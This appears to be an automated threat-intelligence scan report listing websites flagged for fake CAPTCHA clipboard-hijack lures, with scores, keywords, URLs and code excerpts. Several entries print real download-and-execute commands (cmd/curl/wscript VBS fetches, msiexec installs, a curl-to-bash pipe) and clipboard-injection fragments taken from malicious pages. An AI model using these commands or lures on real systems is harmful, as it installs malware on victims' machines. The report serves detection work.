Threat Intelligence Report

πŸ“… July 09, 2026 πŸ•’ Generated: 2026-07-09 01:34:07 πŸ” Sites Analyzed: 62
⬇️ Download JSON Report πŸ“ View All Reports on GitHub
🌐
62
Total Sites Analyzed
⚠️
26
Malicious Sites
42.0% detection rate
πŸ’»
11
PowerShell Commands
πŸ“‹
46
Clipboard Hijacks
πŸ“Š
735
Avg Threat Score

Attack Pattern Analysis

10
High Risk Commands
232
Base64 Encoded
0
Obfuscated JS
28
Inline JS Redirects
6
External JS Chains
26
Redirect Follows
PowerShell Commands 11
Clipboard Hijacks 46
Base64 Encoded 232
CAPTCHA Elements 39
High Risk Commands 10
JS Redirects 28

Top Indicators/Keywords

robot (8) hidden (8) Robot (5) Verification ID (3) Ray ID (3) I am not a robot (3) Verification (3) verification (3) Verify you are human (3) CAPTCHA Verification (2) You will observe (2) CAPTCHA (2) CAPTCHA-verificatie-ID (2) verification-id (2) Checking if you are human (2)

Malicious Sites Detected

Click on a site to view detailed analysis
http://192.155.93.247:3101/
1025 indicators detected
Score: 8528
6
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

robot
Robot
hidden

🌐 Extracted URLs 190

https://gmpg.org/xfn/11
https://yoast.com/wordpress/plugins/seo/
https://www.ccera-icar.org/
https://www.ccera-icar.org/
https://www.ccera-icar.org/wp-content/uploads/2022/08/Frame-3.png
https://3.18.128.17/
791 indicators detected
Score: 6077 Redirect Chain
5
base64
3
redirect chains
3
redirect follows
3
suspicious keywords

πŸ” Suspicious Keywords 3

robot
Robot
hidden

🌐 Extracted URLs 63

https://gmpg.org/xfn/11
https://3.18.128.17/feed/
https://3.18.128.17/comments/feed/
https://api.w.org/
https://3.18.128.17/wp-json/

πŸ” External JavaScript Redirect Chains

Showing first 2 of 3 chains (truncated for performance)

Script: https://3.18.128.17/wp-content/plugins/wpvr/public/js/video.js?ver=1
Type: script_src
Destination (first appearance): https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js
d in
 
 
         var script = document.createElement('script');
         script.src = this.options_['vtt.js'] || 'https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js';
 
         script.onload = function () {
           /**
            * Fired …
Script: https://3.18.128.17/wp-content/plugins/wpvr/public/lib/videojs-vr/videojs-vr.js?ver=1
Type: base64_payload
Destination (first appearance): https://www.w3.org/2000/svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="198px" height="240px" viewBox="0 0 198 240" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancodi…

πŸ›°οΈ Redirect Follower Findings (3)

Source: external_js
Method: script_src
d in
 
 
         var script = document.createElement('script');
         script.src = this.options_['vtt.js'] || 'https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js';
 
         script.onload = function () {
           /**
            * Fired …
Status: ok
/* videojs-vtt.js - v0.14.1 (https://github.com/gkatsev/vtt.js) built on 10-04-2018 */
!function(a){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=a();else if("function"==typeof define&&define.amd)define([],a);else{var b;b="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,b.vttjs=a()}}(function(){return function a(b,c,d){function e(g,h){if(!c[g]){if(!b[g]){var i="function"==typeof require&&require;if(!h&&i)return i(g,!0... [truncated]
Source: external_js
Method: base64_payload
Chain: http://www.w3.org/2000/svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="198px" height="240px" viewBox="0 0 198 240" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancodi…
Status: ok
<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewport" content="width=device-width,initial-scale=1"><meta http-equiv="content-security-policy" content="default-src &#39;none&#39;; script-src &#39;nonce-dzDqrkBdUGDpmCVeuIO6gN&#39; &#39;unsafe-eval&#39; https://challenges.cloudflare.com; script-s... [truncated]
Source: external_js
Method: base64_payload
Chain: http://www.videolan.org/x264.html
 ftypmp42isomiso2avc1mp41freemdatEH, #x264 - core 142 r2479 dd79a61 - H.264/MPEG-4 AVC codec - Copyleft 2003-2014 - http://www.videolan.org/x264.html - options: cabac=1 ref=1 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=2…
Status: ok
    <!DOCTYPE html>
    <html lang="en" >
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
            <meta name="viewport" content="width=device-width, initial-scale=1" />
        
        <meta name="Author" content="VideoLAN" />
        <meta name="Keywords" content=
        "VideoLAN, VLC, VLC player, VLC media player, download, media player, player download, codec, encoder, m... [truncated]
https://104.199.248.167/
724 indicators detected
Score: 5907
1
base64
4
suspicious keywords
1
high risk

πŸ” Suspicious Keywords 4

robot
Robot
hidden
XMLHTTP

🌐 Extracted URLs 91

https://ogp.me/ns#
https://104.199.248.167/
https://104.199.248.167/
https://104.199.248.167/wp-content/uploads/2020/08/mlogo.png
https://104.199.248.167/wp-content/uploads/2020/08/mlogo.png
https://94.130.229.174/
588 indicators detected
Score: 4543
2
base64
1
redirects
4
suspicious keywords

πŸ” Suspicious Keywords 4

robot
Robot
bypass
hidden

🌐 Extracted URLs 151

https://yoast.com/product/yoast-seo-premium-wordpress/
https://devblog.ezeelogin.com/
https://devblog.ezeelogin.com/feed/
https://devblog.ezeelogin.com/comments/feed/
https://devblog.ezeelogin.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.1.6
https://44.208.147.17/
543 indicators detected
Score: 3839
7
base64
1
redirects
3
suspicious keywords

πŸ” Suspicious Keywords 3

robot
Robot
hidden

🌐 Extracted URLs 79

https://gmpg.org/xfn/11
https://44.208.147.17/feed/
https://44.208.147.17/comments/feed/
https://44.208.147.17/wp-json/oembed/1.0/embed?url=https%3A%2F%2F44.208.147.17%2F
https://44.208.147.17/wp-json/oembed/1.0/embed?url=https%3A%2F%2F44.208.147.17%2F&#038;format=xml
https://74.50.99.45:8443/
1228 indicators detected
Score: 2499 Clipboard Hijack Fake CAPTCHA
7
clipboard
3
captcha
116
base64
22
suspicious keywords
3
high risk

πŸ” Suspicious Keywords 22

cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://198.13.158.127:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\\ny.vbs" && "%temp%\\ny.vbs"';
command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.1"):h.Open "GET","http://198.13.158.127:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\\ny.vbs" && "%temp%\\ny.vbs"';
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID
Robot

🌐 Extracted URLs 1026

https://t.me/Tarnkappe_info
https://i.postimg.cc/k4zrz92z/111.png
http://198.13.158.127:5506/ny.vbs
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 7 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://98.70.13.131/
806 indicators detected
Score: 2486 Redirect Chain
41
base64
5
redirects
2
redirect chains
6
redirect follows
3
suspicious keywords

πŸ” Suspicious Keywords 3

command over Creativity, Excellence in spoken word, and outward articulation of inner knowledge.</p>
captcha
hidden

🌐 Extracted URLs 349

https://matangipetals.com/uploads/1d83d9d323d619d65e7156dccc8417086157d487.png
https://98.70.13.131/assets/assets/css/bootstrap.min.css
https://98.70.13.131/assets/assets/css/all.min.css
https://98.70.13.131/assets/assets/css/font.css
https://98.70.13.131/assets/assets/css/swiper.min.css

πŸ” External JavaScript Redirect Chains

Showing first 2 of 2 chains (truncated for performance)

Script: https://www.googletagmanager.com/gtag/js?id=G-VT1PVQ1ZY1
Type: base64_payload
Destination (first appearance): https://www.googletagmanager.com:443/
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Script: https://www.google.com/recaptcha/api.js?hl=&render=6Lf7uxYsAAAAANagtTWlY2ET8HF8nbfMf4-ePcWm
Type: script_src
Destination (first appearance): https://www.gstatic.com/recaptcha/releases/TnA7HacJFoDyljdc3L82L3Rh/recaptcha__en.js
tment_1.2'&&l!=='control_1.1'){d.head.prepend(m);}});}else{d.head.prepend(m);}po.src='https://www.gstatic.com/recaptcha/releases/TnA7HacJFoDyljdc3L82L3Rh/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-BzR1KsTgQlBYM6f2zBvo…

πŸ›°οΈ Redirect Follower Findings (6)

Source: inline_js
Method: script_src
document.getElementById('popup-image').onerror = function () {
        this.src = 'https://98.70.13.131/assets/image/placeholder.png';
    };

    document.querySelector('[data-close-notification-popup]').addEv
Status: ok
PNG


IHDR6	pHYsiTXtXML:com.adobe.xmp<?xpacket begin="ο»Ώ" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap... [truncated]
Source: inline_js
Method: location_assignment
if(prev_url.indexOf(findder) != -1){
                               window.location.href="https://98.70.13.131/user-order";
                           }else{
                             window.locati
Status: ok
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Server Error</title>

        <!-- Fonts -->
        <link rel="preconnect" href="https://fonts.gstatic.com">
        <link href="https://fonts.googleapis.com/css2?family=Nunito&display=swap" rel="stylesheet">

        <style>
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:... [truncated]
Source: inline_js
Method: location_assignment
1/user-order";
                           }else{
                             window.location.href="https://98.70.13.131/home";
                           }
Status: ok
<!doctype html>
<html lang="en">
   <head>
      <meta charset="utf-8" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>Buy Herbal Oil, Powders, Art Frames , Books Online with Matangi Petals</title>
      <meta name="description" content="Shop herbal oils, powders, spiritual books &amp; art frames at Matangi Metals. Order authentic wellness &amp; spiritual products online. Fast delivery!">
      <link rel="icon" type="image/png" href="https://... [truncated]
Source: inline_js
Method: location_assignment
Chain: https://98.70.13.131/login
// }else{
                              //     window.location.href="https://98.70.13.131/login";
                              // }
                            }else{
Status: ok
<!doctype html>
<html lang="en">
   <head>
      <meta charset="utf-8" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>Buy Herbal Oil, Powders, Art Frames , Books Online with Matangi Petals</title>
      <meta name="description" content="Shop herbal oils, powders, spiritual books &amp; art frames at Matangi Metals. Order authentic wellness &amp; spiritual products online. Fast delivery!">
      <link rel="icon" type="image/png" href="https://... [truncated]
Source: external_js
Method: base64_payload
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Status: ok
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style>
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 ... [truncated]
+1 more entries (see JSON)
https://5.63.157.201/
95 indicators detected
Score: 2018 Redirect Chain
4
base64
1
redirects
1
redirect follows
5
suspicious keywords

πŸ” Suspicious Keywords 5

exec(ua) != null) { rv = parseFloat(RegExp.$1); } } else if (n.appName == "Netscape") { rv = 11; re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)"); if (re.exec(ua) != null) { rv = parseFloat(RegExp.$1); } } } return rv; } })(window, document, navigator)
robot
verification
exec(
hidden

🌐 Extracted URLs 21

https://alfavit-obuv.ru/include/logo.png
https://alfavit-obuv.ru/
https://mc.yandex.ru/watch/55085083
https://api.whatsapp.com/send/?phone=79168411253
https://api.whatsapp.com/send/?phone=79168411253

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: script_src
{ return; }}
   k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
   (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");

   ym(55085083, "init", {
        clickmap…
Status: ok
ο»Ώ(function(){var p;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};
function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}thro... [truncated]
http://172.96.189.153/
265 indicators detected
Score: 748 Fake CAPTCHA Redirect Chain
1
captcha
3
base64
1
redirects
1
redirect follows
14
suspicious keywords

πŸ” Suspicious Keywords 14

captcha-styles
captcha-styles-css
Captcha
CaptchaImages
captcha-overlay
captcha-modal
captcha-container
captcha
captcha-verified
captcha-loader

🌐 Extracted URLs 114

http://gmpg.org/xfn/11
http://172.96.189.153/feed/
http://172.96.189.153/comments/feed/
http://172.96.189.153/wp-json/oembed/1.0/embed?url=http%3A%2F%2F172.96.189.153%2F
http://172.96.189.153/wp-json/oembed/1.0/embed?url=http%3A%2F%2F172.96.189.153%2F&#038;format=xml

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: script_src
;

            var iframe = document.createElement('iframe');
            iframe.src = 'http://172.96.189.153/wp-content/plugins/CF/captcha.html';
            iframe.style.cssText = 'width:100%;height:100%;border:none;';
Status: ok
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>Checking if you are human</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  <link rel="icon" id="dynamic-favicon" href="data:,">
  <link rel="preload" as="image" href="https://www.straightsell.com.au/documents/AddOns/cloudflare-logo-main.png">
  <style>
    body { background-color... [truncated]
https://103.74.5.124/
75 indicators detected
Score: 624 PowerShell Clipboard Hijack
1
powershell
6
clipboard
3
captcha
2
base64
22
suspicious keywords

πŸ’» PowerShell Commands 1

curl

πŸ” Suspicious Keywords 22

cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
command = 'cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID
Robot

🌐 Extracted URLs 6

https://t.me/blockchainkittie
https://i.postimg.cc/k4zrz92z/111.png
http://178.17.59.40:5506/qk.vbs
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://178.210.83.9/
70 indicators detected
Score: 588 Clipboard Hijack Fake CAPTCHA
6
clipboard
3
captcha
3
base64
21
suspicious keywords

πŸ” Suspicious Keywords 21

command = "msiexec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
exec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
CAPTCHA Verification
Verification ID
verification id
Ray ID
ray id
I am not a robot
You will observe
CAPTCHA

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
http://125.253.125.72/
384 indicators detected
Score: 572 Redirect Chain
1
base64
2
redirects
1
redirect chains
1
redirect follows
2
suspicious keywords

πŸ” Suspicious Keywords 2

verification
hidden

🌐 Extracted URLs 369

http://ogp.me/ns#
https://www.googletagmanager.com/gtag/js?id=UA-86972255-1
http://gmpg.org/xfn/11
http://baovechuyennghiep.baovengayvadem.com/xmlrpc.php
http://baovechuyennghiep.baovengayvadem.com/wp-content/plugins/category-posts/cat-posts.css

πŸ” External JavaScript Redirect Chains

Showing first 1 of 1 chains (truncated for performance)

Script: https://www.googletagmanager.com/gtag/js?id=UA-86972255-1
Type: base64_payload
Destination (first appearance): https://www.googletagmanager.com:443/
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}

πŸ›°οΈ Redirect Follower Findings (1)

Source: external_js
Method: base64_payload
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Status: ok
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style>
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 ... [truncated]
https://216.119.126.23/old_backup/
69 indicators detected
Score: 551 Clipboard Hijack Fake CAPTCHA
6
clipboard
3
captcha
2
base64
22
suspicious keywords

πŸ” Suspicious Keywords 22

command = "msiexec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
exec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
CAPTCHA Verification
Verification ID
verification id
Ray ID
ray id
I am not a robot
You will observe
CAPTCHA

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://201.182.25.51/
66 indicators detected
Score: 540 Clipboard Hijack Fake CAPTCHA
6
clipboard
3
captcha
1
base64
20
suspicious keywords

πŸ” Suspicious Keywords 20

command safe so later code runs */
command = `msiexec /i https://i-like-ele-phants-verification.live/iamchallenge/verification/UserID7383526`;
exec /i https://i-like-ele-phants-verification.live/iamchallenge/verification/UserID7383526`;
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://i-like-ele-phants-verification.live/iamchallenge/verification/UserID7383526`;
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ild(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea);...
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://18.176.47.246/
283 indicators detected
Score: 520
5
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

captcha-badge
robot
hidden

🌐 Extracted URLs 144

https://18.176.47.246/feed/
https://18.176.47.246/comments/feed/
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/images/to-top-btn-icon.svg
http://18.176.47.246/
283 indicators detected
Score: 520
5
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

captcha-badge
robot
hidden

🌐 Extracted URLs 144

http://18.176.47.246/feed/
http://18.176.47.246/comments/feed/
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/images/to-top-btn-icon.svg
https://45.144.233.192/
49 indicators detected
Score: 494 PowerShell Clipboard Hijack
2
powershell
3
clipboard
1
base64
1
redirect follows
21
suspicious keywords

πŸ’» PowerShell Commands 2

PowerShell and press <kbd>Enter</kbd>.</li>
curl

πŸ” Suspicious Keywords 21

Command ⌘</kbd> + <kbd>Space</kbd> to open Spotlight.</li>
Command ⌘</kbd>+<kbd>V</kbd>) the command into Terminal and press <kbd>Return</kbd>.</li>
command into PowerShell and press <kbd>Enter</kbd>.</li>
command prompt application on your system.</li>
command into the terminal and press <kbd>Enter</kbd>.</li>
Command = `windows_command`;
verification successful
Verification ID
Ray ID
I am not a robot

🌐 Extracted URLs 1

https://www.cloudflare.com/?utm_source=challenge&utm_campaign=m

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 3 entries (truncated for performance) 

...&& window.isSecureContext) { navigator.clipboard.writeText(text).then(() => { const o...
...try { const successful = document.execCommand('copy'); if (successful) {...

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: base64_payload
curl -s http://45.135.232.33/d/roberto99223 | nohup bash &
Status: error: HTTPConnectionPool(host='45.135.232.33', port=80): Max retries exceeded with url: /d/roberto99223 (Caused by ConnectTimeoutError(<HTTPConnection(host='45.135.232.33', port=80) at 0x7efc94d63850
http://82.146.62.232/
69 indicators detected
Score: 483 Fake CAPTCHA Redirect Chain
5
captcha
5
base64
1
redirects
1
redirect follows
21
suspicious keywords

πŸ” Suspicious Keywords 21

exec(ua) != null){rv = parseFloat(RegExp.$1);}}else if (n.appName == "Netscape"){rv = 11;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != null){rv = parseFloat(RegExp.$1);}}}return rv;}})(window, document, navigator)
eval('var timeOut'+popupItems[i].id)
eval("timeIn"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').show(15).css({'top': top + 'px', 'left': left + 'px'}); }, 200);")
eval("clearTimeout(timeOut"+uid+")")
eval("clearTimeout(timeIn"+uid+")")
eval("timeOut"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').hide(15); }, 200);")
captcha_word
captcha
captcha_sid
CAPTCHA

🌐 Extracted URLs 15

https://svetvip.ru/
https://api.whatsapp.com/send?phone=79258627909
https://api.whatsapp.com/send?phone=79258627909
https://svetvip.ru/catalog/vstraivaemye_svetilniki/
https://svetvip.ru/catalog/trekovye_i_shinnye_svetilniki/

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: script_src
new Image().src='http://svetvip.ru/bitrix/spread.php?s=QklUUklYX1NNX0FCVEVTVF91MgEBMTgxNDY2NDg0MgEvAQEBAkJJVFJJWF9TTV9TQUxFX1VJRAFmOTM3YmYwNzA4ZTAxZDg3NzAwOTg2NzRkOGY5ZmM5NQExODE0NjY0ODQyAS8BAQEC&k=256fd43260b8ae6aba6f3f91aab203d7';
Status: ok
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at svetvip.ru Port 80</address>
</body></html>
https://66.39.17.31/
211 indicators detected
Score: 460
2
base64
1
redirects
2
suspicious keywords

πŸ” Suspicious Keywords 2

robot
hidden

🌐 Extracted URLs 189

https://www.evriso.com/skillseekers/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.evriso.com%2Fskillseekers%2F
https://www.evriso.com/skillseekers/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.evriso.com%2Fskillseekers%2F&#038;format=xml
https://www.evriso.com/skillseekers/wp-content/plugins/skillseekers/assets/css/mgs-main.css?ver=1.4.43
https://www.evriso.com/skillseekers/wp-content/themes/skillseekers-theme/assets/css/theme.css?ver=1.0.5
https://www.evriso.com/skillseekers/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
https://82.146.62.232/
64 indicators detected
Score: 406 Fake CAPTCHA Redirect Chain
3
captcha
8
base64
1
redirects
1
redirect follows
17
suspicious keywords

πŸ” Suspicious Keywords 17

exec(ua) != null){rv = parseFloat(RegExp.$1);}}else if (n.appName == "Netscape"){rv = 11;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != null){rv = parseFloat(RegExp.$1);}}}return rv;}})(window, document, navigator)
eval('var timeOut'+popupItems[i].id)
eval("timeIn"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').show(15).css({'top': top + 'px', 'left': left + 'px'}); }, 200);")
eval("clearTimeout(timeOut"+uid+")")
eval("clearTimeout(timeIn"+uid+")")
eval("timeOut"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').hide(15); }, 200);")
captcha_word
captcha
captcha_sid
CAPTCHA

🌐 Extracted URLs 15

https://svetvip.ru/
https://api.whatsapp.com/send?phone=79258627909
https://api.whatsapp.com/send?phone=79258627909
https://svetvip.ru/catalog/vstraivaemye_svetilniki/
https://svetvip.ru/catalog/trekovye_i_shinnye_svetilniki/

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: script_src
new Image().src='https://svetvip.ru/bitrix/spread.php?s=QklUUklYX1NNX0FCVEVTVF91MgEBMTgxNDY2NDgzMAEvAQEBAkJJVFJJWF9TTV9TQUxFX1VJRAE2Yjg1MzM2YzFjNmI3MjZmZjliMzBkYzkyODc2ZGEzZQExODE0NjY0ODMwAS8BAQEC&k=f253ef6039ea186537fb0f8f6592f1be';
Status: ok
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at svetvip.ru Port 80</address>
</body></html>

Showing top 20 malicious sites. 6 additional sites detected.